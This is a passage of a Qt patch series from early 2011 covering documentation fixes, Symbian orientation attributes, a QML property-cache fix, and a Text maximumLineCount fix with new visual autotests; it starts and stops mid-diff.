     This can be seen in the snippet commonly found at the top of QML files:
     
     \qml
    -    import QtQuick 1.0
    +import QtQuick 1.0
     \endqml
     
     This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML
    -- 
    cgit v0.12
    
    
    From 4a100d27cca824114c9bfa5e88096835fadd8a27 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 16:39:01 +0100
    Subject: Avoid hard-coding product names in page titles.
    
    Fall back to Qt if no product name is used.
    ---
     tools/qdoc3/htmlgenerator.cpp | 10 ++++------
     1 file changed, 4 insertions(+), 6 deletions(-)
    
    diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp
    index 768be46..196bd44 100644
    --- a/tools/qdoc3/htmlgenerator.cpp
    +++ b/tools/qdoc3/htmlgenerator.cpp
    @@ -1642,12 +1642,10 @@ void HtmlGenerator::generateHeader(const QString& title,
         QString shortVersion = myTree->version();
         if (shortVersion.count(QChar('.')) == 2)
             shortVersion.truncate(shortVersion.lastIndexOf(QChar('.')));
    -    if (!shortVersion.isEmpty()) {
    -        if (project == "QSA")
    -            shortVersion = "QSA " + shortVersion + ": ";
    -        else
    -            shortVersion = "Qt " + shortVersion + ": ";
    -    }
    +    if (!project.isEmpty())
    +        shortVersion = project + QLatin1String(" ") + shortVersion + QLatin1String(": ");
    +    else
    +        shortVersion = QLatin1String("Qt ") + shortVersion + QLatin1String(": ");
     
         // Generating page title
         out() << "  " << shortVersion << protectEnc(title) << "\n";
    -- 
    cgit v0.12
    
    
    From 91f9b95b931f441e209ecb12c620e1657810f338 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 27 Jan 2011 17:08:52 +0100
    Subject: Fixed whitespace.
    
    ---
     doc/src/template/style/style.css | 18 +++++++++---------
     1 file changed, 9 insertions(+), 9 deletions(-)
    
    diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
    index cac4e58..df2729c 100755
    --- a/doc/src/template/style/style.css
    +++ b/doc/src/template/style/style.css
    @@ -238,15 +238,15 @@
         {
             font-size: 13px;
         }
    -	.red
    -	{
    -		color:red;
    -	}
    -	.figCaption{
    -	color:#363534;
    -	font:italic 11px/1.2 Verdana;
    -	padding-top:0;
    -	}
    +    .red
    +    {
    +        color:red;
    +    }
    +    .figCaption{
    +        color:#363534;
    +        font:italic 11px/1.2 Verdana;
    +        padding-top:0;
    +    }
     /* end font style elements */
     
     /* global settings*/
    -- 
    cgit v0.12
    
    
    From bbd87cfe022fab15a5cac555ce155f9caa27ff06 Mon Sep 17 00:00:00 2001
    From: Geir Vattekar 
    Date: Thu, 27 Jan 2011 17:29:17 +0100
    Subject: Doc: Fixed typo in QCoreApplication docs
    
        Task-number: QTBUG-14274
    ---
     src/corelib/kernel/qcoreapplication.cpp | 8 ++++----
     1 file changed, 4 insertions(+), 4 deletions(-)
    
    diff --git a/src/corelib/kernel/qcoreapplication.cpp b/src/corelib/kernel/qcoreapplication.cpp
    index 381be34..7d88b10 100644
    --- a/src/corelib/kernel/qcoreapplication.cpp
    +++ b/src/corelib/kernel/qcoreapplication.cpp
    @@ -462,10 +462,10 @@ QString qAppName()
         operations can call processEvents() to keep the application
         responsive.
     
    -    In general, we recommend that you create a QCoreApplication or
    -    a QApplication object in your \c main() function as early as
    -    possible. exit() will not return until the event loop exits;
    -    e.g., when quit() is called.
    +    In general, we recommend that you create a QCoreApplication or a
    +    QApplication object in your \c main() function as early as
    +    possible. exec() will not return until the event loop exits; e.g.,
    +    when quit() is called.
     
         Several static convenience functions are also provided. The
         QCoreApplication object is available from instance(). Events can
    -- 
    cgit v0.12
    
    
    From e0489b905d6a31c7a904ca2b62a1e60cd12dba4f Mon Sep 17 00:00:00 2001
    From: mread 
    Date: Tue, 25 Jan 2011 14:29:41 +0000
    Subject: Orientation control implementation for Symbian
    
    This used the orientation control QWidget attributes API from
    maemo5, and provides a simple implementation for Symbian.
    
    The essense of the implementation is that the latest setting
    of one of these QWidget orientation attributes will set the
    orientation for the whole app. Testing the attributes will return
    only the last attribute set, it will not return the app orientation
    state.
    
    A new task, QTBUG-16972, has been created to provide a more
    comprehensive implementation in the future. This may provide a more
    effective emulation of the maemo5 behaviour, or may incorporate
    further reaching concepts for QML rotations.
    
    Task-number: QTBUG-11785
    Reviewed-by: Shane Kearns
    ---
     src/corelib/global/qnamespace.h | 13 ++++++++++---
     src/gui/kernel/qt_s60_p.h       |  2 ++
     src/gui/kernel/qwidget.cpp      | 40 ++++++++++++++++++++++++++++++++++++++++
     3 files changed, 52 insertions(+), 3 deletions(-)
    
    diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h
    index 4f3a742..e492345 100644
    --- a/src/corelib/global/qnamespace.h
    +++ b/src/corelib/global/qnamespace.h
    @@ -511,9 +511,16 @@ public:
     #if 0 // these values are reserved for Maemo5 - do not re-use them
             WA_Maemo5NonComposited = 126,
             WA_Maemo5StackedWindow = 127,
    -        WA_Maemo5PortraitOrientation = 128,
    -        WA_Maemo5LandscapeOrientation = 129,
    -        WA_Maemo5AutoOrientation = 130,
    +#endif
    +
    +        WA_LockPortraitOrientation = 128,
    +        WA_LockLandscapeOrientation = 129,
    +        WA_AutoOrientation = 130,
    +
    +#if 0 // these values are reserved for Maemo5 - do not re-use them
    +        WA_Maemo5PortraitOrientation = WA_LockPortraitOrientation,
    +        WA_Maemo5LandscapeOrientation = WA_LockLandscapeOrientation,
    +        WA_Maemo5AutoOrientation = WA_AutoOrientation,
             WA_Maemo5ShowProgressIndicator = 131,
     #endif
     
    diff --git a/src/gui/kernel/qt_s60_p.h b/src/gui/kernel/qt_s60_p.h
    index fdb35d5..40697bf 100644
    --- a/src/gui/kernel/qt_s60_p.h
    +++ b/src/gui/kernel/qt_s60_p.h
    @@ -141,6 +141,7 @@ public:
         int supportsPremultipliedAlpha : 1;
         int avkonComponentsSupportTransparency : 1;
         int menuBeingConstructed : 1;
    +    int orientationSet : 1;
         QApplication::QS60MainApplicationFactory s60ApplicationFactory; // typedef'ed pointer type
         static CEikButtonGroupContainer *cba;
     
    @@ -295,6 +296,7 @@ inline QS60Data::QS60Data()
       supportsPremultipliedAlpha(0),
       avkonComponentsSupportTransparency(0),
       menuBeingConstructed(0),
    +  orientationSet(0),
       s60ApplicationFactory(0)
     #ifdef Q_OS_SYMBIAN
       ,s60InstalledTrapHandler(0)
    diff --git a/src/gui/kernel/qwidget.cpp b/src/gui/kernel/qwidget.cpp
    index 9a76b0a..e542a59 100644
    --- a/src/gui/kernel/qwidget.cpp
    +++ b/src/gui/kernel/qwidget.cpp
    @@ -124,6 +124,10 @@
     #include "qtabwidget.h" // Needed in inTabWidget()
     #endif // QT_KEYPAD_NAVIGATION
     
    +#ifdef Q_WS_S60
    +#include 
    +#endif
    +
     // widget/widget data creation count
     //#define QWIDGET_EXTRA_DEBUG
     //#define ALIEN_DEBUG
    @@ -10810,6 +10814,42 @@ void QWidget::setAttribute(Qt::WidgetAttribute attribute, bool on)
                 d->registerTouchWindow();
     #endif
             break;
    +    case Qt::WA_LockPortraitOrientation:
    +    case Qt::WA_LockLandscapeOrientation:
    +    case Qt::WA_AutoOrientation: {
    +        const Qt::WidgetAttribute orientations[3] = {
    +            Qt::WA_LockPortraitOrientation,
    +            Qt::WA_LockLandscapeOrientation,
    +            Qt::WA_AutoOrientation
    +        };
    +
    +        if (on) {
    +            // We can only have one of these set at a time
    +            for (int i = 0; i < 3; ++i) {
    +                if (orientations[i] != attribute)
    +                    setAttribute_internal(orientations[i], false, data, d);
    +            }
    +        }
    +
    +#ifdef Q_WS_S60
    +        CAknAppUiBase* appUi = static_cast(CEikonEnv::Static()->EikAppUi());
    +        const CAknAppUiBase::TAppUiOrientation s60orientations[] = {
    +            CAknAppUiBase::EAppUiOrientationPortrait,
    +            CAknAppUiBase::EAppUiOrientationLandscape,
    +            CAknAppUiBase::EAppUiOrientationAutomatic
    +        };
    +        CAknAppUiBase::TAppUiOrientation s60orientation = CAknAppUiBase::EAppUiOrientationUnspecified;
    +        for (int i = 0; i < 3; ++i) {
    +            if (testAttribute(orientations[i])) {
    +                s60orientation = s60orientations[i];
    +                break;
    +            }
    +        }
    +        QT_TRAP_THROWING(appUi->SetOrientationL(s60orientation));
    +        S60->orientationSet = true;
    +#endif
    +        break;
    +    }
         default:
             break;
         }
    -- 
    cgit v0.12
    
    
    From 547e2162c872ca5707f5bc54d06b3c39c9bd6477 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Fri, 28 Jan 2011 10:24:20 +1000
    Subject: Add test for Loader implicitWidth/implicitHeight
    
    ---
     .../qdeclarativeloader/data/implicitSize.qml       | 28 ++++++++++++++++++++++
     .../qdeclarativeloader/tst_qdeclarativeloader.cpp  | 18 ++++++++++++++
     2 files changed, 46 insertions(+)
     create mode 100644 tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
    
    diff --git a/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml b/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
    new file mode 100644
    index 0000000..53aad97
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeloader/data/implicitSize.qml
    @@ -0,0 +1,28 @@
    +import QtQuick 1.1
    +
    +Rectangle {
    +    property real implWidth: 0
    +    property real implHeight: 0
    +    color: "green"
    +    width: loader.implicitWidth+50
    +    height: loader.implicitHeight+50
    +
    +    Loader {
    +        id: loader
    +        sourceComponent: Item {
    +            anchors.centerIn: parent
    +
    +            implicitWidth: 100
    +            implicitHeight: 100
    +            Rectangle {
    +                color: "red"
    +                anchors.fill: parent
    +            }
    +        }
    +
    +        anchors.fill: parent
    +        anchors.margins: 50
    +        onImplicitWidthChanged: implWidth = implicitWidth
    +        onImplicitHeightChanged: implHeight = loader.implicitHeight
    +    }
    +}
    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index ea8ea16..a5e708b 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -90,6 +90,7 @@ private slots:
         void vmeErrors();
         void creationContext();
         void QTBUG_16928();
    +    void implicitSize();
     
     private:
         QDeclarativeEngine engine;
    @@ -603,6 +604,23 @@ void tst_QDeclarativeLoader::QTBUG_16928()
         delete item;
     }
     
    +void tst_QDeclarativeLoader::implicitSize()
    +{
    +    QDeclarativeComponent component(&engine, TEST_FILE("implicitSize.qml"));
    +    QDeclarativeItem *item = qobject_cast(component.create());
    +    QVERIFY(item);
    +
    +    QCOMPARE(item->width(), 150.);
    +    QCOMPARE(item->height(), 150.);
    +
    +    QCOMPARE(item->property("implHeight").toReal(), 100.);
    +
    +    QEXPECT_FAIL("", "versioned property implicit object reference", Continue);
    +    QCOMPARE(item->property("implWidth").toReal(), 100.);
    +
    +    delete item;
    +}
    +
     QTEST_MAIN(tst_QDeclarativeLoader)
     
     #include "tst_qdeclarativeloader.moc"
    -- 
    cgit v0.12
    
    
    From cb6b9ee680f792750d0cb265ea59ff3ff4643562 Mon Sep 17 00:00:00 2001
    From: Aaron Kennedy 
    Date: Fri, 28 Jan 2011 12:00:21 +1000
    Subject: Ensure simple objects also get the appropriate property cache
    
    Task-number: QTBUG-13849
    ---
     src/declarative/qml/qdeclarativedata_p.h                   |  5 +----
     src/declarative/qml/qdeclarativeobjectscriptclass.cpp      |  3 ++-
     src/declarative/qml/qdeclarativevme.cpp                    | 12 ++++++------
     .../qdeclarativeecmascript/data/metaobjectRevision4.qml    | 14 ++++++++++++++
     .../qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp  |  9 +++++++++
     5 files changed, 32 insertions(+), 11 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
    
    diff --git a/src/declarative/qml/qdeclarativedata_p.h b/src/declarative/qml/qdeclarativedata_p.h
    index f0ff0c0..33458dc 100644
    --- a/src/declarative/qml/qdeclarativedata_p.h
    +++ b/src/declarative/qml/qdeclarativedata_p.h
    @@ -66,7 +66,6 @@ class QDeclarativePropertyCache;
     class QDeclarativeContextData;
     class QDeclarativeNotifier;
     class QDeclarativeDataExtended;
    -class QDeclarativeType;
     // This class is structured in such a way, that simply zero'ing it is the
     // default state for elemental object allocations.  This is crucial in the
     // workings of the QDeclarativeInstruction::CreateSimpleObject instruction.
    @@ -78,7 +77,7 @@ public:
             : ownMemory(true), ownContext(false), indestructible(true), explicitIndestructibleSet(false), 
               context(0), outerContext(0), bindings(0), nextContextObject(0), prevContextObject(0), bindingBitsSize(0), 
               bindingBits(0), lineNumber(0), columnNumber(0), deferredComponent(0), deferredIdx(0), 
    -          scriptValue(0), objectDataRefCount(0), propertyCache(0), guards(0), type(0), extendedData(0) {
    +          scriptValue(0), objectDataRefCount(0), propertyCache(0), guards(0), extendedData(0) {
               init(); 
           }
     
    @@ -137,8 +136,6 @@ public:
     
         QDeclarativeGuard *guards;
     
    -    const QDeclarativeType *type;
    -
         static QDeclarativeData *get(const QObject *object, bool create = false) {
             QObjectPrivate *priv = QObjectPrivate::get(const_cast(object));
             if (priv->wasDeleted) {
    diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    index 7701a23..ee47d0b 100644
    --- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    +++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    @@ -166,8 +166,9 @@ QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &nam
         QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine);
         lastData = QDeclarativePropertyCache::property(engine, obj, name, local);
         if ((hints & ImplicitObject) && lastData && lastData->revision != 0) {
    +
             QDeclarativeData *ddata = QDeclarativeData::get(obj);
    -        if (ddata && ddata->propertyCache && !ddata->propertyCache->isAllowedInRevision(lastData))
    +        if (ddata && ddata->propertyCache && !ddata->propertyCache->isAllowedInRevision(lastData)) 
                 return 0;
         }
     
    diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp
    index 657b10d..366c64b 100644
    --- a/src/declarative/qml/qdeclarativevme.cpp
    +++ b/src/declarative/qml/qdeclarativevme.cpp
    @@ -194,8 +194,6 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack,
     
                     QDeclarativeData *ddata = QDeclarativeData::get(o);
                     Q_ASSERT(ddata);
    -                if (types.at(instr.create.type).type)
    -                    ddata->type = types.at(instr.create.type).type;
     
                     if (stack.isEmpty()) {
                         if (ddata->context) {
    @@ -249,10 +247,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack,
                     ::memset(o, 0, instr.createSimple.typeSize + sizeof(QDeclarativeData));
                     instr.createSimple.create(o);
     
    -                QDeclarativeData *ddata = 
    -                    (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize);
    -                if (types.at(instr.createSimple.type).type)
    -                    ddata->type = types.at(instr.createSimple.type).type;
    +                QDeclarativeData *ddata = (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize);
    +                const QDeclarativeCompiledData::TypeReference &ref = types.at(instr.createSimple.type);
    +                if (!ddata->propertyCache && ref.typePropertyCache) {
    +                    ddata->propertyCache = ref.typePropertyCache;
    +                    ddata->propertyCache->addref();
    +                }
                     ddata->lineNumber = instr.line;
                     ddata->columnNumber = instr.createSimple.column;
     
    diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
    new file mode 100644
    index 0000000..81ea536
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
    @@ -0,0 +1,14 @@
    +import Qt.test 1.1
    +import QtQuick 1.0
    +
    +QtObject {
    +    property variant a
    +    property real test
    +
    +    a: MyRevisionedClass {
    +        prop2: 11
    +
    +        Component.onCompleted: test = prop2
    +    }
    +}
    +
    diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    index e7f9a2c..f66cd0b 100644
    --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
    @@ -2983,6 +2983,15 @@ void tst_qdeclarativeecmascript::revision()
             MyRevisionedClass *object = qobject_cast(component.create());
             QVERIFY(object != 0);
         }
    +    // Test that non-root classes can resolve revisioned methods
    +    {
    +        QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision4.qml"));
    +
    +        QObject *object = component.create();
    +        QVERIFY(object != 0);
    +        QCOMPARE(object->property("test").toReal(), 11.);
    +        delete object;
    +    }
     }
     
     QTEST_MAIN(tst_qdeclarativeecmascript)
    -- 
    cgit v0.12
    
    
    From 57ddd7c69705dfbf3d06b8a0157e5e706120c818 Mon Sep 17 00:00:00 2001
    From: Christopher Ham 
    Date: Fri, 28 Jan 2011 12:55:57 +1000
    Subject: Fix MaximumLineCount in Text and add tests
    
    Fixed MaximumLineCount not truncating when wrapMode was not set.
    Visual autotests were added to test various possible options for
    maximumLineCount.
    
    Task-number: QTBUG-12305
    Reviewed-by: Michael Brasser
    ---
     src/declarative/graphicsitems/qdeclarativetext.cpp |  44 ++++++++++-----------
     .../maximumLineCount/data-X11/newLines.0.png       | Bin 0 -> 343 bytes
     .../maximumLineCount/data-X11/newLines.qml         |  11 ++++++
     .../maximumLineCount/data-X11/newLines_wrap.0.png  | Bin 0 -> 465 bytes
     .../maximumLineCount/data-X11/newLines_wrap.qml    |  11 ++++++
     .../data-X11/newLines_wrap_elide.0.png             | Bin 0 -> 469 bytes
     .../data-X11/newLines_wrap_elide.qml               |  11 ++++++
     .../maximumLineCount/data-X11/wrap.0.png           | Bin 0 -> 557 bytes
     .../maximumLineCount/data-X11/wrap.qml             |  11 ++++++
     .../maximumLineCount/data-X11/wrap_elide.0.png     | Bin 0 -> 537 bytes
     .../maximumLineCount/data-X11/wrap_elide.qml       |  11 ++++++
     .../maximumLineCount/data/newLines.0.png           | Bin 0 -> 343 bytes
     .../maximumLineCount/data/newLines.qml             |  11 ++++++
     .../maximumLineCount/data/newLines_wrap.0.png      | Bin 0 -> 465 bytes
     .../maximumLineCount/data/newLines_wrap.qml        |  11 ++++++
     .../data/newLines_wrap_elide.0.png                 | Bin 0 -> 469 bytes
     .../maximumLineCount/data/newLines_wrap_elide.qml  |  11 ++++++
     .../maximumLineCount/data/wrap.0.png               | Bin 0 -> 557 bytes
     .../maximumLineCount/data/wrap.qml                 |  11 ++++++
     .../maximumLineCount/data/wrap_elide.0.png         | Bin 0 -> 537 bytes
     .../maximumLineCount/data/wrap_elide.qml           |  11 ++++++
     .../qdeclarativetext/maximumLineCount/newLines.qml |  13 ++++++
     .../maximumLineCount/newLines_wrap.qml             |  14 +++++++
     .../maximumLineCount/newLines_wrap_elide.qml       |  15 +++++++
     .../qdeclarativetext/maximumLineCount/wrap.qml     |  14 +++++++
     .../maximumLineCount/wrap_elide.qml                |  15 +++++++
     26 files changed, 201 insertions(+), 24 deletions(-)
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines_wrap_elide.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.0.png
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/wrap_elide.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/newLines_wrap_elide.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap.qml
     create mode 100644 tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/wrap_elide.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp
    index d424e30..1e0988d 100644
    --- a/src/declarative/graphicsitems/qdeclarativetext.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp
    @@ -366,6 +366,8 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
     
         if (maximumLineCountValid) {
             layout.beginLayout();
    +        if (!lineWidth)
    +            lineWidth = INT_MAX;
             int y = 0;
             int linesLeft = maximumLineCount;
             while (linesLeft > 0) {
    @@ -374,34 +376,28 @@ QSize QDeclarativeTextPrivate::setupTextLayout()
                     break;
     
                 visibleCount++;
    -
    -            if (lineWidth) {
    -                if (--linesLeft == 0) {
    -                    line.setLineWidth(q->width()*2); // Set out more than is required, but not too much.
    -                    if (line.naturalTextWidth() > lineWidth)
    -                        line.setLineWidth(lineWidth - elideWidth);
    -                    visibleTextLength += line.textLength(); // Used to catch new lines that are shorter than the layout width.
    -
    -                    if (visibleTextLength < text.length()) {
    -                        truncate = true;
    -                        if (elideMode==QDeclarativeText::ElideRight) {
    -                            // Need to correct for alignment
    -                            int x = line.naturalTextWidth();
    -                            if (hAlign == QDeclarativeText::AlignRight) {
    -                                x = q->width()-elideWidth;
    -                            } else if (hAlign == QDeclarativeText::AlignHCenter) {
    -                                x = (q->width()+line.naturalTextWidth()-elideWidth)/2;
    -                            }
    -                            elidePos = QPointF(x, y + fm.ascent());
    +            line.setLineWidth(lineWidth);
    +            visibleTextLength += line.textLength();
    +
    +            if (--linesLeft == 0) {
    +                if (visibleTextLength < text.length()) {
    +                    truncate = true;
    +                    if (elideMode==QDeclarativeText::ElideRight && q->widthValid()) {
    +                        // Need to correct for alignment
    +                        line.setLineWidth(lineWidth-elideWidth);
    +                        int x = line.naturalTextWidth();
    +                        if (hAlign == QDeclarativeText::AlignRight) {
    +                            x = q->width()-elideWidth;
    +                        } else if (hAlign == QDeclarativeText::AlignHCenter) {
    +                            x = (q->width()+line.naturalTextWidth()-elideWidth)/2;
                             }
    +                        elidePos = QPointF(x, y + fm.ascent());
    +                        elideText = true;
                         }
    -                } else {
    -                    line.setLineWidth(lineWidth);
    -                    visibleTextLength += line.textLength();
                     }
    -
    -                y += line.height();
                 }
    +
    +            y += line.height();
             }
             layout.endLayout();
     
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png
    new file mode 100644
    index 0000000..c24c7c6
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
    new file mode 100644
    index 0000000..affd3a6
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png
    new file mode 100644
    index 0000000..0ba68e5
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
    new file mode 100644
    index 0000000..410b47d
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines_wrap.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png
    new file mode 100644
    index 0000000..3f1144b
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
    new file mode 100644
    index 0000000..94cf1d2
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/newLines_wrap_elide.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "newLines_wrap_elide.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png
    new file mode 100644
    index 0000000..f0ad965
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
    new file mode 100644
    index 0000000..4b55312
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "wrap.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png
    new file mode 100644
    index 0000000..62274ce
    Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.0.png differ
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
    new file mode 100644
    index 0000000..7d002ea
    --- /dev/null
    +++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data-X11/wrap_elide.qml
    @@ -0,0 +1,11 @@
    +import Qt.VisualTest 4.7
    +
    +VisualTest {
    +    Frame {
    +        msec: 0
    +    }
    +    Frame {
    +        msec: 16
    +        image: "wrap_elide.0.png"
    +    }
    +}
    diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/maximumLineCount/data/newLines.0.png
    new file mode 100644
    index 0000000..c24c7c6
